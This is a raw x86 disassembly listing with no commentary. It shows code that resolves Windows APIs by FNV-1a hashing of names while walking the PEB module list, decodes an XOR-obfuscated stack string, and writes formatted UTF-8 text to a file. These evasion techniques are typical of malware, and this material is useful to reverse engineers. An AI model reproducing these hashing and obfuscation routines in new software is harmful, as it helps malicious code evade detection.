lea edx, [ebp - 0x1e4]
push edx
call eax
test eax, eax
js 0x4586be
mov ecx, 0x800
call fcn.004bca70
mov dword [ebp - 0x30], eax
test eax, eax
je 0x4586be
mov ebx, dword [0x4f37b0]
test ebx, ebx
jne 0x457981
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x457968
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x457930
cmp eax, 0x174c966e
je 0x458620
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x457979
cmp dword [ecx + 0x18], 0
jne 0x457910
xor ebx, ebx
mov dword [0x4f37b0], ebx
mov eax, dword [0x4f37f0]
test eax, eax
jne 0x457a1e
test ebx, ebx
je 0x457a17
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x457a17
xor ecx, ecx
mov dword [ebp - 8], ecx
cmp dword [eax + 0x18], ecx
je 0x457a17
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x457a05
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4579d0
cmp edi, 0x1ed908f5
je 0x45862b
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4579c0
xor eax, eax
mov dword [0x4f37f0], eax
push 0x400
push dword [ebp - 0x30]
lea ecx, [ebp - 0x1e4]
push ecx
call eax
test eax, eax
je 0x4586be
mov ecx, 0x2000
call fcn.004bca70
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x4586c1
lea eax, [ebp - 0x184]
push eax
push 0x159
push 0x4e48c0
call fcn.00459630
test eax, eax
je 0x4586c1
mov dword [ebp - 0x180], 0x17
mov eax, dword [ebp - 0x180]
xor eax, 0x25
mov word [ebp - 0x17c], ax
mov eax, dword [ebp - 0x180]
inc eax
xor eax, 0x30
mov word [ebp - 0x17a], ax
mov eax, dword [ebp - 0x180]
add eax, 2
xor eax, 0x32
mov word [ebp - 0x178], ax
mov eax, dword [ebp - 0x180]
add eax, 3
xor eax, 0x58
mov word [ebp - 0x176], ax
mov eax, dword [ebp - 0x180]
add eax, 4
xor eax, 0x25
mov word [ebp - 0x174], ax
mov eax, dword [ebp - 0x180]
add eax, 5
xor eax, 0x30
mov word [ebp - 0x172], ax
mov eax, dword [ebp - 0x180]
add eax, 6
xor eax, 0x32
mov word [ebp - 0x170], ax
mov eax, dword [ebp - 0x180]
add eax, 7
xor eax, 0x58
mov word [ebp - 0x16e], ax
mov eax, dword [ebp - 0x180]
add eax, 8
xor eax, 0x25
mov word [ebp - 0x16c], ax
mov eax, dword [ebp - 0x180]
add eax, 9
xor eax, 0x30
mov word [ebp - 0x16a], ax
mov eax, dword [ebp - 0x180]
add eax, 0xa
xor eax, 0x32
mov word [ebp - 0x168], ax
mov eax, dword [ebp - 0x180]
add eax, 0xb
xor eax, 0x58
mov word [ebp - 0x166], ax
mov eax, dword [ebp - 0x180]
add eax, 0xc
xor eax, 0x25
mov word [ebp - 0x164], ax
mov eax, dword [ebp - 0x180]
add eax, 0xd
xor eax, 0x30
mov word [ebp - 0x162], ax
mov eax, dword [ebp - 0x180]
add eax, 0xe
xor eax, 0x32
mov word [ebp - 0x160], ax
mov eax, dword [ebp - 0x180]
add eax, 0xf
xor eax, 0x58
mov word [ebp - 0x15e], ax
mov eax, dword [ebp - 0x180]
add eax, 0x10
xor eax, 0x25
mov word [ebp - 0x15c], ax
mov eax, dword [ebp - 0x180]
add eax, 0x11
xor eax, 0x30
mov word [ebp - 0x15a], ax
mov eax, dword [ebp - 0x180]
add eax, 0x12
xor eax, 0x32
mov word [ebp - 0x158], ax
mov eax, dword [ebp - 0x180]
add eax, 0x13
xor eax, 0x58
mov word [ebp - 0x156], ax
mov eax, dword [ebp - 0x180]
add eax, 0x14
xor eax, 0x25
mov word [ebp - 0x154], ax
mov eax, dword [ebp - 0x180]
add eax, 0x15
xor eax, 0x30
mov word [ebp - 0x152], ax
mov eax, dword [ebp - 0x180]
add eax, 0x16
xor eax, 0x32
mov word [ebp - 0x150], ax
mov eax, dword [ebp - 0x180]
add eax, 0x17
xor eax, 0x58
mov word [ebp - 0x14e], ax
mov eax, dword [ebp - 0x180]
add eax, 0x18
xor eax, 0x25
mov word [ebp - 0x14c], ax
mov eax, dword [ebp - 0x180]
add eax, 0x19
xor eax, 0x30
mov word [ebp - 0x14a], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1a
xor eax, 0x32
mov word [ebp - 0x148], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1b
xor eax, 0x58
mov word [ebp - 0x146], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1c
xor eax, 0x25
mov word [ebp - 0x144], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1d
xor eax, 0x30
mov word [ebp - 0x142], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1e
xor eax, 0x32
mov word [ebp - 0x140], ax
mov eax, dword [ebp - 0x180]
add eax, 0x1f
xor eax, 0x58
mov word [ebp - 0x13e], ax
mov eax, dword [ebp - 0x180]
add eax, 0x20
mov word [ebp - 0x13c], ax
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402682]
add eax, 0x21
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x13a], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402684]
add eax, 0x22
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x138], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402686]
add eax, 0x23
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x136], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402688]
add eax, 0x24
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x134], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40268a]
add eax, 0x25
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x132], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40268c]
add eax, 0x26
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x130], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40268e]
add eax, 0x27
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x12e], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402690]
add eax, 0x28
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x12c], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402692]
add eax, 0x29
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x12a], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402694]
add eax, 0x2a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x128], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402696]
add eax, 0x2b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x126], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x402698]
add eax, 0x2c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x124], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40269a]
add eax, 0x2d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x122], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40269c]
add eax, 0x2e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x120], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x40269e]
add eax, 0x2f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11e], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026a0]
add eax, 0x30
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11c], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026a2]
add eax, 0x31
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x11a], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026a4]
add eax, 0x32
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x118], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026a6]
add eax, 0x33
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x116], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026a8]
add eax, 0x34
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x114], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026aa]
add eax, 0x35
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x112], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026ac]
add eax, 0x36
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x110], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026ae]
add eax, 0x37
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10e], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026b0]
add eax, 0x38
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10c], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026b2]
add eax, 0x39
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x10a], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026b4]
add eax, 0x3a
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x108], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026b6]
add eax, 0x3b
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x106], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026b8]
add eax, 0x3c
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x104], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026ba]
add eax, 0x3d
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x102], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026bc]
add eax, 0x3e
movzx eax, ax
xor ecx, eax
mov word [ebp - 0x100], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026be]
add eax, 0x3f
movzx eax, ax
xor ecx, eax
mov word [ebp - 0xfe], cx
mov eax, dword [ebp - 0x180]
movzx ecx, word [0x4026c0]
add eax, 0x40
movzx eax, ax
xor ecx, eax
xor eax, eax
mov word [ebp - 0xfc], cx
mov word [ebp - 0xfa], ax
xor edx, edx
mov ax, word [ebp - 0x17c]
nop dword [eax]
nop word [eax + eax]
mov ax, word [ebp + edx*2 - 0x17c]
mov ecx, dword [ebp - 0x180]
add ecx, edx
movzx eax, ax
xor ecx, eax
mov word [ebp + edx*2 - 0x17c], cx
inc edx
cmp edx, 0x41
jb 0x458080
mov ebx, dword [0x4f37a8]
xor eax, eax
mov word [ebp - 0xfa], ax
test ebx, ebx
jne 0x458141
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp - 8], ecx
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x458128
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4580f0
cmp eax, 0xc0323159
je 0x458649
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp - 8], ecx
cmp eax, edx
je 0x458139
cmp dword [ecx + 0x18], 0
jne 0x4580d2
xor ebx, ebx
mov dword [0x4f37a8], ebx
mov ecx, dword [0x4f37b4]
test ecx, ecx
jne 0x4581e2
test ebx, ebx
je 0x4581da
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
mov eax, dword [eax + ebx + 0x7c]
mov dword [ebp - 0x14], eax
lea eax, [ecx + ebx]
xor ecx, ecx
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x4581dc
mov dword [ebp - 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4581da
mov eax, dword [eax + 0x20]
mov edx, dword [ebp - 8]
add eax, ebx
mov dword [ebp - 0xc], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x4581c8
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x458195
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
cmp edi, 0xaeb3c6d5
je 0x458654
mov eax, dword [ebp - 0xc]
inc ecx
add eax, 4
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x458184
xor ecx, ecx
mov dword [0x4f37b4], ecx
movzx eax, byte [0x4e550d]
push eax
movzx eax, byte [0x4e550b]
push eax
movzx eax, byte [0x4e5509]
push eax
movzx eax, byte [0x4e5507]
push eax
movzx eax, byte [0x4e5505]
push eax
movzx eax, byte [0x4e5503]
push eax
movzx eax, byte [0x4e5501]
push eax
lea eax, [ebp - 0x17c]
push eax
lea eax, [ebp - 0x204]
push eax
call ecx
add esp, 0x24
lea eax, [ebp - 0x204]
push dword [ebp + 8]
push dword [ebp - 0x188]
push dword [ebp - 0x30]
push dword [ebp - 0x2c]
push eax
push eax
push dword [ebp - 0x184]
lea eax, [ebp - 0x24]
push 0x1000
push eax
call fcn.004bcff0
mov ecx, dword [ebp - 0x24]
add esp, 0x24
call fcn.004bcfd0
mov ebx, dword [0x4f3810]
mov dword [ebp - 8], eax
test ebx, ebx
jne 0x458301
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x10], eax
mov edx, eax
mov dword [ebp + 8], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x4582e8
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x4582b0
cmp eax, 0xa3e6f6c3
je 0x45866e
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp + 8], ecx
cmp eax, edx
je 0x4582f9
cmp dword [ecx + 0x18], 0
jne 0x458290
xor ebx, ebx
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x45839e
test ebx, ebx
je 0x458397
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x458397
xor ecx, ecx
mov dword [ebp + 8], ecx
cmp dword [eax + 0x18], ecx
je 0x458397
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x458385
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x458350
mov ecx, dword [ebp + 8]
cmp edi, 0xa83e21de
je 0x458679
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
inc ecx
add eax, 4
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x458340
xor eax, eax
mov dword [0x4f37a4], eax
mov ebx, dword [ebp - 0x24]
push 0
push 0
push 0
push 0
push dword [ebp - 8]
push ebx
push 0
push 0xfde9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
jle 0x4586c1
mov ecx, eax
call fcn.004bca70
mov edi, eax
mov dword [ebp - 0x10], edi
test edi, edi
je 0x4586c6
mov ebx, dword [0x4f3810]
test ebx, ebx
jne 0x458474
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov eax, dword [ecx + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov edx, eax
mov dword [ebp + 8], ecx
nop dword [eax]
movzx ebx, word [ecx + 0x2c]
xor edi, edi
mov esi, dword [ecx + 0x30]
shr ebx, 1
mov dword [ebp - 0xc], 0x811c9dc5
lea eax, [esi + ebx*2]
cmp esi, eax
cmova ebx, edi
test ebx, ebx
je 0x458458
nop
mov cl, byte [esi]
lea esi, [esi + 2]
movsx edx, cl
sub cl, 0x41
mov eax, edx
or eax, 0x20
cmp cl, 0x19
cmova eax, edx
inc edi
xor eax, dword [ebp - 0xc]
imul eax, eax, 0x1000193
mov dword [ebp - 0xc], eax
cmp edi, ebx
jne 0x458420
cmp eax, 0xa3e6f6c3
je 0x458696
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1c]
mov eax, dword [ecx]
mov ecx, eax
mov dword [ebp + 8], ecx
cmp eax, edx
je 0x458469
cmp dword [ecx + 0x18], 0
jne 0x458400
xor ebx, ebx
mov edi, dword [ebp - 0x10]
mov dword [0x4f3810], ebx
mov eax, dword [0x4f37a4]
test eax, eax
jne 0x458511
test ebx, ebx
je 0x458507
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x458507
xor ecx, ecx
mov dword [ebp + 8], ecx
cmp dword [eax + 0x18], ecx
je 0x458507
mov eax, dword [eax + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
nop dword [eax]
mov esi, dword [eax]
mov edi, 0x811c9dc5
add esi, ebx
mov dl, byte [esi]
inc esi
test dl, dl
je 0x4584f5
movsx ecx, dl
lea esi, [esi + 1]
sub dl, 0x41
mov eax, ecx
or eax, 0x20
cmp dl, 0x19
mov dl, byte [esi - 1]
cmova eax, ecx
xor eax, edi
imul edi, eax, 0x1000193
test dl, dl
jne 0x4584c0
mov ecx, dword [ebp + 8]
cmp edi, 0xa83e21de
je 0x4586a1
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
inc ecx
add eax, 4
mov dword [ebp + 8], ecx
mov dword [ebp - 0xc], eax
cmp ecx, dword [edx + 0x18]
jne 0x4584b0
xor eax, eax
mov edi, dword [ebp - 0x10]
mov dword [0x4f37a4], eax
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x24]
push 0
push 0
push esi
push edi
push dword [ebp - 8]
push ebx
push 0
push 0xfde9
call eax
push 0
lea eax, [ebp - 0x1c4]
push eax
push esi
mov esi, dword [ebp - 0x20]
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
xor ecx, ecx
mov edx, 1
test eax, eax
cmovne ecx, edx
mov dword [ebp - 0x1c], ecx
jmp 0x4586d0
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x456a50
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x456aee
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x456c7b
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x456d19
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x456dbf
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x456e5d
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x4576ab
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
jmp 0x45774a
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x45781e
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x4578bc
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x45797b
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, ebx
add eax, ebx
movzx eax, word [eax + edx*2]
mov eax, dword [ecx + eax*4]
add eax, ebx
jmp 0x457a19
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 0x18]
jmp 0x45813b
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + ebx]
add ecx, ebx
jmp 0x4581dc
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x18]
jmp 0x4582fb
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x458399
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x18]
jmp 0x45846b
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x458509
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
jmp 0x4586ce
mov esi, dword [ebp - 0x20]
jmp 0x4586d0
or esi, 0xffffffff
xor edi, edi
mov ecx, dword [ebp - 0x184]
test ecx, ecx
je 0x4586df
call fcn.004bced0
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x4586eb
call fcn.004bced0
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x4586f9
mov ecx, eax
call fcn.004bced0
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x458707
mov ecx, eax
call fcn.004bced0
test ebx, ebx
je 0x458712
mov ecx, ebx
call fcn.004bced0
test edi, edi
je 0x45871d
mov ecx, edi
call fcn.004bced0
cmp esi, 0xffffffff
je 0x45872a
push esi
call fcn.00411330
call eax
mov eax, dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4